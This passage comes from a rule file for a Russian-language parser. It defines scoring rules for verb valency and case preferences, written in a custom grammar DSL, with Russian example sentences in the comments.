if context { rus_verbs:напасть{}.предлог:на{}.*:*{ падеж:вин } }
then 1
}
// Мы с Мишей читали сказку
tree_scorer language=Russian
{
if context { местоимение:я{}.предлог:с{}.существительное:*{ падеж:твор одуш:одуш } }
then 1
}
// Мы с ней сидели за одной партой.
// ^^^^^^^^
tree_scorer language=Russian
{
if context { местоимение:я{}.предлог:с{}.местоимение:я{ падеж:твор } }
then 1
}
// Мы с ним были на концерте.
tree_scorer language=Russian
{
if context { местоимение:я{}.предлог:с{}.'ним'{ род:муж } }
then 1
}
// Аллах сотворил всякое животное из воды.
// ^^^^^^^^ ^^^^^^^
tree_scorer language=Russian
{
if context { rus_verbs:сотворить{}.предлог:из{} }
then 2
}
// Аллегра не сводила глаз с мужа.
// ^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { rus_verbs:сводить{}.{ <OBJECT>"глаз"{число:мн} предлог:с{}.*{падеж:твор} } }
then 2
}
// А вы были помолвлены с Лиллианой.
// ^^^^^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:помолвленный{}.предлог:с{}.*{падеж:твор} }
then 2
}
// А ты с ним плохо обращаешься?
// ^^^^^ ^^^^^^^^^^^
tree_scorer language=Russian
{
if context { rus_verbs:обращаться{}.предлог:с{}.*{падеж:твор} }
then 2
}
// Он относится к бедному товарищу с горячим участием.
// ^^^^^^^^^ ^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { глагол:*{}.'с'.'участием' }
then 1
}
tree_scorer language=Russian
{
if context { инфинитив:*{}.'с'.'участием' }
then 1
}
tree_scorer language=Russian
{
if context { деепричастие:*{}.'с'.'участием' }
then 1
}
tree_scorer language=Russian
{
if context { прилагательное:*{ причастие }.'с'.'участием' }
then 1
}
// Она оправдала неявку на занятия болезнью.
// ^^^^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:оправдать{}.<OBJECT>*{ падеж:твор } }
then 1
}
// жаждать мести
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:жаждать{}.<OBJECT>'мести'{ падеж:род } }
then 1
}
// Он доводится мальчику дядей
// ^^^^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:доводиться{}.<OBJECT>*:*{ падеж:твор } }
then 1
}
// принести в дом бездомного щенка
// ^^^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:принести{}.<OBJECT>*:*{ падеж:вин } }
then 1
}
// всадить пулю в сердце
// ^^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:всадить{}.предлог:в{}.существительное:*{ падеж:вин } }
then 1
}
// Усиленная работа отразилась на его здоровье.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:отразиться{}.предлог:на{}.существительное:здоровье{ падеж:предл } }
then 1
}
#define PreferAccusObject(v) \
#begin
tree_scorer ВалентностьГлагола language=Russian { if context { инфинитив:v{}.<OBJECT>*:*{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian { if context { глагол:v{}.<OBJECT>*:*{ падеж:вин } } then 1 }
#end
// Поэты воспели в этой оде героев
PreferAccusObject(воспеть)
// встретить в классе старого приятеля (встретить+вин.п.)
PreferAccusObject(встретить)
// встречать в лесу голодного медведя (встречать+вин.п.)
PreferAccusObject(встречать)
// выписать из деревни нового скакуна
PreferAccusObject(выписать)
// регулярная армия вытесняет из пригородов повстанцев
PreferAccusObject(вытеснять)
// выводить с одежды пятна (вводить + вин.п.)
PreferAccusObject(выводить)
// выжать максимум из машины (выжать + вин.п.)
PreferAccusObject(выжать)
// собраться в аудитории
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:собраться{}.предлог:в{}.существительное:*{ одуш:неодуш падеж:предл <в_класс>существительное:помещение{} } }
then 1
}
// Глагол БОЯТЬСЯ обычно используется с прямым дополнением, причем одушевленное
// дополнение стоит в винительном падеже, а неодушевленное - в родительном.
// они должны научиться бояться нас.
// ^^^^^^^^^^^
// Дело мастера боится.
// ^^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:бояться{}.<OBJECT>ОдушОбъект{ падеж:вин } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:бояться{}.<OBJECT>НеодушОбъект{ падеж:род } }
then 1
}
// сказал Холмс, снимая крышку с курицы
// ^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:снимать{}.предлог:с{}.*:*{ падеж:род } }
then 2
}
// Я послал книги по почте.
// ^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:послать{}.предлог:по{}.'почте' }
then 2
}
// Он разложил книги по всему столу.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:разложить{}.предлог:по{}.существительное:*{} }
then 1
}
// Мы покормили белок.
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:покормить{}.существительное:*{ падеж:вин одуш:одуш } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:покормить{}.существительное:*{ падеж:вин одуш:одуш } }
then 2
}
// писатель пишет повести
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:писать{ aux stress="пис^ать" }.существительное:*{ одуш:неодуш падеж:вин } }
then 1
}
// Резкий порывистый ветер валит прохожих с ног.
// ^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:валить{}.предлог:с{}.'ног' }
then 1
}
// Резкий порывистый ветер свалит тебя с ног.
// ^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:свалить{}.предлог:с{}.'ног' }
then 1
}
// блоггер, написавший про детский приют
tree_scorer language=Russian
{
if context { прилагательное:написавший{ aux stress="напис^авший" }.предлог:про{} }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:написать{ aux stress="напис^ать" }.предлог:про{} }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:написать{ aux stress="напис^ать" }.предлог:про{} }
then 1
}
// Учительница ищет в карманах шпаргалки
// ^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:искать{}.существительное:*{ падеж:вин } }
then 1
}
// заметившими косулю медведицами
// ^^^^^^^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:заметить{}.<OBJECT>существительное:*{ падеж:твор одуш:одуш } }
then -2
}
// стирать белье в реке
// ^^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:стирать{}.предлог:в{}.существительное:*{ одуш:неодуш падеж:предл } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:купить{}.предлог:у{}.существительное:*{ одуш:одуш } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:купить{}.предлог:у{}.местоимение:*{} }
then 2
}
// стирать прошлое из памяти
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:стирать{}.предлог:из{}.существительное:память{} }
then 1
}
// Боль исказила его лицо.
// ^^^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:исказить{}.<OBJECT>существительное:лицо{ одуш:неодуш } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:искажать{}.<OBJECT>существительное:лицо{ одуш:неодуш } }
then 1
}
// Подавим по возможности связывание глагола ЕСТЬ с предложным дополнением ИЗ
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:есть{}.предлог:из{}.существительное:*{ <в_класс>существительное:овощ{} } }
then -1
}
// Винительное дополнение:
// считать деньги
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:считать{}.*:*{падеж:вин} }
then 1
}
// Мы согласовали наши законы с беларусским законодательством
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:согласовать{ вид:соверш }.предлог:с{} }
then 1
}
// Я иду в кино.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:идти{}.{
'в'.'кино'{ падеж:вин }
<SUBJECT>местоимение:*{}
} }
then 1
}
// Он купил игрушки для детей.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:купить{}.*:*{ падеж:вин } }
then 1
}
// Он занял деньги под большие проценты.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:занять{}.'деньги'{ падеж:вин } }
then 1
}
// его осторожность взяла верх над его жадностью
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:взять{}.существительное:верх{}.предлог:над{} }
then 1
}
// Студенты долго ломали голову над задачей.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ломать{}.{
'голову'
предлог:над{} } }
then 1
}
// Я не хотел вас обидеть.
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обидеть{}.*:*{ падеж:вин } }
then 2
}
// Я нашёл толк в этом деле.
// ^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:найти{}.{
'толк'
предлог:в{}.существительное:*:*{ падеж:предл }
} }
then 1
}
// Я всюду искал письмо, но нигде не мог его найти.
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:найти{}.*:*{ падеж:вин } }
then 2
}
// Я вовсе не хотел её оскорбить.
// ^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:оскорбить{}.*:*{ падеж:вин } }
then 2
}
// Мы перебили врагов в бою.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:перебить{}.'в'.'бою' }
then 1
}
// Этот мотор делает 600 оборотов в минуту.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:делать{}.существительное:оборот{}.num_word:*{} }
then 3
}
// для ВЫУЧИТЬ желательно дополнение в винительном падеже
// Он выучил меня играть в шахматы.
// ^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:выучить{}.*:*{ падеж:вин } }
then 2
}
// Будем считать, что ЭТО в роли подлежащего имеет приоритет:
// Это внесло разнообразие в мою жизнь.
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:*{ время:прошедшее число:ед род:ср }.<SUBJECT>'это' }
then 1
}
// Я принёс эту книгу для вас.
// ^^^^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:принести{}.предлог:для{}.местоимение:*{} }
then 1
}
// Глагол ИЗБРАТЬ обычно требует прямое дополнение в винительном падеже:
// Академия наук избрала его почётным членом.
// ^^^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:избрать{}.*:*{ падеж:вин } }
then 1
}
// Глагол ПРИСЫЛАТЬ обычно требует прямое дополнение
// Он присылал к должнику своих головорезов
// ^^^^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:присылать{}.<OBJECT>существительное:*{ падеж:вин } }
then 1
}
// Я никого не встретил
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{}.{ частица:не{} 'никого'{ падеж:род } } }
then 1
}
// они затопили корабли в гавани
// ^^^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:затопить{}.предлог:в{}.*:*{ падеж:предл } }
then 1
}
// Составьте предложение из этих слов.
// ^^^^^^^^^ ^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:составить{}.предлог:из{}.существительное:*{ одуш:неодуш падеж:род } }
then 1
}
// Согрейте руки у огня.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:согреть{}.предлог:у{}.существительное:*{ одуш:неодуш падеж:род } }
then 1
}
// Не оставь товарища в опасности.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:оставить{}.предлог:в{}.существительное:*{ падеж:предл } }
then 1
}
// Я принёс книгу с собой.
tree_scorer ВалентностьГлагола language=Russian
{
if context { Гл_С_Твор.'с'.'собой' }
then 1
}
// Наш пароход держал курс прямо на север.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:держать{}.<OBJECT>существительное:курс{ падеж:вин } }
then 1
}
// Антонио ни с кем не говорил
// ^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{}.{
'не'
'с'.{ 'ни' 'кем' }
} }
then 1
}
// Я был знаком с вашим дядей.
// ^^^^^^^^
tree_scorer language=Russian
{
if context { 'был'.{ прилагательное:знакомый{ краткий } предлог:с{}.существительное:*{ одуш:одуш } } }
then 3
}
tree_scorer language=Russian
{
if context { 'был'.{ прилагательное:знакомый{ краткий } предлог:с{}.местоимение:*{} } }
then 3
}
// Подавим родительную валентность для местоимения.
// Вас требует заведующий.
// ^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{ ПАДЕЖ:ВИН }.<OBJECT>'вас'{падеж:вин} }
then 1
}
// Я научил его английскому языку.
// ^^^^^^ ^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:научить{}.{ <OBJECT>местоимение:я{падеж:вин} <OBJECT>*:*{падеж:дат} } }
then 1
}
// Я учу его английскому языку.
// ^^^ ^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:учить{}.{ <OBJECT>местоимение:я{падеж:вин} <OBJECT>*:*{падеж:дат} } }
then 1
}
// Я велел ему прийти через час.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:велеть{}.{ <OBJECT>местоимение:я{ падеж:дат } инфинитив:*{} } }
then 1
}
// Дождь помешал нам прийти.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:помешать{}.{ <OBJECT>местоимение:я{ падеж:дат } инфинитив:*{} } }
then 1
}
// Ведь вы сами посоветовали мне так сделать.
// ^^^^^^^^^^^^^^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:посоветовать{}.{ <OBJECT>местоимение:я{ падеж:дат } инфинитив:*{} } }
then 1
}
// Антонио разрешил нам рассказать об этом
// ^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:разрешить{}.{ <OBJECT>местоимение:я{ падеж:дат } инфинитив:*{} } }
then 1
}
// кенгуру наловил детенышам мышей своими лапами
// ^^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:наловить{}.<OBJECT>*:*{ падеж:род } }
then 1
}
// Характер писателя лучше всего выражается в его произведениях.
// ^^^^^^^^^^^
tree_scorer language=Russian
{
if context { наречие:всего{}.'лучше'{ class:наречие } }
then 1
}
// Этот город находится к западу от Москвы.
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:находиться{ вид:несоверш }.<SUBJECT>существительное:*{} }
then 1
}
// Он находится в весьма неприятном положении.
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:находиться{ вид:несоверш }.предлог:*{} }
then 1
}
// Подавим родительный падеж:
// Прошу вас.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:просить{}.местоимение:я{ падеж:вин } }
then 1
}
// Природа наградила его разнообразными способностями.
// ^^^^^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:наградить{}.местоимение:я{ падеж:вин } }
then 1
}
// Природа одарила его прекрасными способностями.
// ^^^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:одарить{}.местоимение:я{ падеж:вин } }
then 1
}
// Предпочтём винительный падеж местоимения, а не родительный.
// Вас спрашивает какой-то человек.
// ^^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:спрашивать{}.'вас'{падеж:вин} }
then 1
}
// Примите мой искренний привет!
// ^^^^^^^ ^
tree_scorer language=Russian
{
if context { 'примите'{ наклонение:побуд }.'!' }
then 1
}
// Напишите фамилию полностью.
// ^^^^^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:написать{aux stress="напис^ать"}.наречие:полностью{} }
then 1
}
// Она обозвала его дураком.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обозвать{}.{
*:*{ падеж:вин }
*:*{ падеж:твор }
} }
then 1
}
// Понизим достоверность распознавания УРКА:
// Девочка вообще не пошла на урок
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пойти{}.предлог:на{}.'урок'{ одуш:неодуш } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:идти{}.предлог:на{}.'урок'{ одуш:неодуш } }
then 1
}
// Выбираем винительный падеж:
// Время работает на нас.
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:работать{}.'на'.'нас'{падеж:вин} }
then 1
}
// Мы пришли к заключению, что он прав.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:придти{}.'к'.'заключению' }
then 1
}
/*
tree_scorer language=Russian
{
if context { 'два'{ class:числительное род:муж }.существительное:*{род:жен} }
then -1
}
tree_scorer language=Russian
{
if context { 'два'{ class:числительное род:муж }.существительное:*{род:ср} }
then -1
}
tree_scorer language=Russian
{
if context { 'два'{ class:числительное род:ср }.существительное:*{род:муж} }
then -1
}
tree_scorer language=Russian
{
if context { 'два'{ class:числительное род:ср }.существительное:*{род:жен} }
then -1
}
tree_scorer language=Russian
{
if context { числительное:два{род:жен}.существительное:*{род:жен} }
then 1
}
tree_scorer language=Russian
{
if context { числительное:два{род:ср}.существительное:*{род:ср} }
then 1
}
*/
// Уберем вариант СТАТЬ для:
//
// Он написал статью на русском языке.
// ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:написать{ aux stress="напис^ать" }.<OBJECT>'статью'{ падеж:вин } }
then 1
}
// Антонио подарил ведьмёнышам пюре
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:подарить{}.{
<OBJECT>существительное:*{ падеж:вин одуш:неодуш }
<OBJECT>существительное:*{ падеж:дат одуш:одуш }
} }
then 1
}
// Дайте мне хлеба.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:дать{}.<OBJECT>существительное:хлеб{ падеж:вин } }
then -1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:дать{}.<OBJECT>существительное:хлеб{ падеж:род } }
then 1
}
/*
wordentry_set НаречВремСуток=наречие:{ утром, вечером, днем, ночью }
// она вечером будет есть пюре
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:быть{}.{
НаречВремСуток
инфинитив:*{}
} }
then 1
}
*/
// Глаголы с семантикой поедания, присоединяющие прямое дополнение в вин. падеже
wordentry_set ГлаголыПоедания_Вин=
{
глагол:есть{}, инфинитив:есть{}
}
// Антонио ест пюре
tree_scorer ВалентностьГлагола language=Russian
{
if context { ГлаголыПоедания_Вин.<OBJECT>'пюре'{падеж:вин} }
then 1
}
/*
// она утром будет есть пюре
tree_scorer ВалентностьГлагола language=Russian
{
if context { ГлаголыПоедания_Вин.<ATTRIBUTE>наречие:утром{} }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { ГлаголыПоедания_Вин.'утром'{ class:существительное } }
then -1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { ГлаголыПоедания_Вин.'днем'{ class:существительное } }
then -1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { ГлаголыПоедания_Вин.'вечером'{ class:существительное } }
then -1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { ГлаголыПоедания_Вин.'ночью'{ class:существительное } }
then -1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { ГлаголыПоедания_Вин.<ATTRIBUTE>наречие:днем{} }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { ГлаголыПоедания_Вин.<ATTRIBUTE>наречие:вечером{} }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { ГлаголыПоедания_Вин.<ATTRIBUTE>наречие:ночью{} }
then 1
}
*/
// желая стать космонавтом
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:стать{}.<OBJECT>существительное:*{ падеж:твор одуш:одуш } }
then 1
}
// Царя над окрестностями
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:царить{}.'над'.'окрестностями' }
then 1
}
// Планета Юпитер не видна днём
// ^^^^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:видный{ краткий }.<ATTRIBUTE>'днем'{} }
then 1
}
// Подавим распознавание ПОТОМ как существительного:
// вы едите пюре или суп, потом пьете чай
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{}.<OBJECT>'потом'{падеж:твор} }
then -100
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{}.<OBJECT>'потом'{падеж:твор} }
then -100
}
// Для глагола ЛОВИТЬ подавляем прямое дополнение в творительном падеже, если
// оно соответствует одушевленному:
// Антонио опять ловит мышь несколько ночей подряд
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ловить{}.<OBJECT>существительное:*{ падеж:твор одуш:одуш } }
then -1
}
// продавать книги
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:продавать{}.<OBJECT>существительное:*{ падеж:вин } }
then 1
}
// мы не увидели тебя
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:увидеть{}.<OBJECT>местоимение:*{ падеж:вин } }
then 1
}
// Винительная валентность глагола ГОВОРИТЬ используется
// только с неодушевленным дополнением.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:говорить{}.<OBJECT>*{ падеж:вин } }
then -1
}
// кот не видит ее
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:видеть{}.<OBJECT>местоимение:я{ падеж:вин } }
then 1
}
// кот увидел кенгуру на полу
// ^^^^^^ ^^^^^^^
// Подавим вариант творительного падежа для любых дополнение, за исключением ГЛАЗ
// а неодушевленные пусть будут "увидел своими глазами"
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:увидеть{}.<OBJECT>существительное:глаз{ падеж:твор } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:видеть{}.<OBJECT>существительное:глаз{ падеж:твор } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:увидеть{}.<OBJECT>существительное:*{ падеж:твор } }
then -1
}
// Дмитрий Иванович Менделеев увидел периодическую таблицу элементов во сне
// ^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:увидеть{}.'во'.'сне' }
then 1
}
// аналогично для:
// кот видит кенгуру на полу
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:видеть{}.<OBJECT>существительное:*{ падеж:твор } }
then -1
}
// Для глагола ВСТРЕТИТЬ подавим прямое дополнение в творительном падеже, если
// оно - одушевленный объект:
// ведьмёныш встретил Антонио
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:встретить{}.<OBJECT>существительное:*{ падеж:твор одуш:одуш } }
then -1
}
// Аналогично: ведьмёныш встречал Антонио веселым криком
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:встречать{}.<OBJECT>существительное:*{ падеж:твор одуш:одуш } }
then -1
}
wordentry_set ЧтоМожноДелатьСЧаем=
{
инфинитив:налить{},
глагол:налить{}
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { ЧтоМожноДелатьСЧаем.<OBJECT>'чаю'{падеж:парт} }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:ловить{}.предлог:в{}.существительное:*{ падеж:предл } }
then 1
}
// мыть руки с мылом
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:мыть{}.'с'.'мылом' }
then 1
}
// Я мою руки с мылом
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:мыть{}.'с'.'мылом' }
then 1
}
// кошки собираются ловить хозяину в амбаре мышь
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:ловить{}.'в'.'амбаре' }
then 1
}
// Мы боремся все доступными средствами с ошибками в программе
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:бороться{}.'с'.'ошибками' }
then 1
}
// большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:высадиться{}.'для'.'поиска' }
then 1
}
// стипендия студента университета дружбы народов, живших в союзных республиках бывшего СССР
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:живший{}.предлог:в{}.существительное:*{ падеж:предл } }
then 1
}
// студенты университета, построенного в СССР
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:построенный{}.предлог:в{}.существительное:*{ падеж:предл } }
then 1
}
// группа студентов университета дружбы народов, основанного в СССР
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:основанный{}.предлог:в{}.существительное:*{ падеж:предл } }
then 1
}
// группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:пропагандировавшийся{}.предлог:в{}.существительное:*{ падеж:предл } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { 'сыплет'{class:глагол}.<SUBJECT>существительное:дождь{ падеж:им } }
then 1
}
tree_scorer language=Russian
{
if context { безлич_глагол:стало{}.'всем'{ class:прилагательное падеж:дат} }
then 1
}
// давай-ка выпей молока
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:выпить{}.'молока'{class:существительное} }
then 1
}
// лежащий на полу
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:лежащий{}.предлог:на{}.'полу'{падеж:мест} }
then 1
}
// Подавим распознавание ДНЁМ как существительного в творительном падеже.
//
// кошки днем обычно ели и дремали
// ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:есть{}.<OBJECT>существительное:день{ падеж:твор } }
then -1
}
// Несмотря на появляющуюся родительную валентность в отрицательной форме глагола,
// местоимения её и его надо брать только в аккузативе.
// она её не съест
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:съесть{}.'ее'{ падеж:вин } }
then 1
}
/*
// Планета Марс видна утром
tree_scorer language=Russian
{
if context { прилагательное:видный{}.наречие:утром{} }
then 1
}
*/
/*
// Повысим достоверность безличного глагола.
//
// Грести стало труднее
// ^^^^^
tree_scorer language=Russian
{
if context { 'стало'{class:безлич_глагол} }
then 1
}
*/
// Для глагола КУПИТЬ надо подавлять связывание с прямым дополнением в родительным падеже
// для живых существ.
// Ну же, купите слона!
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:купить{}.<OBJECT>существительное:*{ ОДУШ:ОДУШ падеж:род } }
then -1
}
// купи кефиру
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:купить{}.<OBJECT>существительное:*{ ОДУШ:НЕОДУШ падеж:парт } }
then 4
}
// налей мне воды
// ^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:налить{}.<OBJECT>'воды'{ падеж:род } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:лежать{}.'в'.'углу' }
then 1
}
// ОСВЕТИТЬ можно обычно КОМУ-ТО, а не чему-то:
// отблеск молнии осветил часового.
// ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:осветить{}.существительное:*{ падеж:дат одуш:неодуш } }
then -10
}
// Он ездит на работу на автобусе.
// ^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ездить{}.предлог:на{}.существительное:*{ падеж:предл одуш:неодуш <в_класс>существительное:транспорт{} } }
then 2
}
// Его успех доставил ей радость.
// ^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:доставить{}.{ <OBJECT>ОдушОбъект{ падеж:дат } <OBJECT>НеодушОбъект{ падеж:вин } } }
then 2
}
/*
// Предотвращаем отрыв слова ЭТОТ, ЭТОЙ и т.д. от существительного.
// Роберт улыбнулся этой мысли.
// ^^^^^^^^^^
tree_scorer language=Russian
{
if context { существительное:*{}.<ATTRIBUTE>прилагательное:этот{} }
then 2
}
*/
// Речки разлились и дороги стали непроходимы.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:стать{}.прилагательное:*{ краткий } }
then 1
}
// укрыться от дождя под навесом
// ^^^^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:укрыться{}.предлог:под{}.НеодушОбъект }
then 2
}
// Мул - помесь осла и лошади.
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { существительное:помесь{}.существительное:*{}.союз:и{} }
then 1
}
// Олег обвел взглядом окрестности.
// ^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
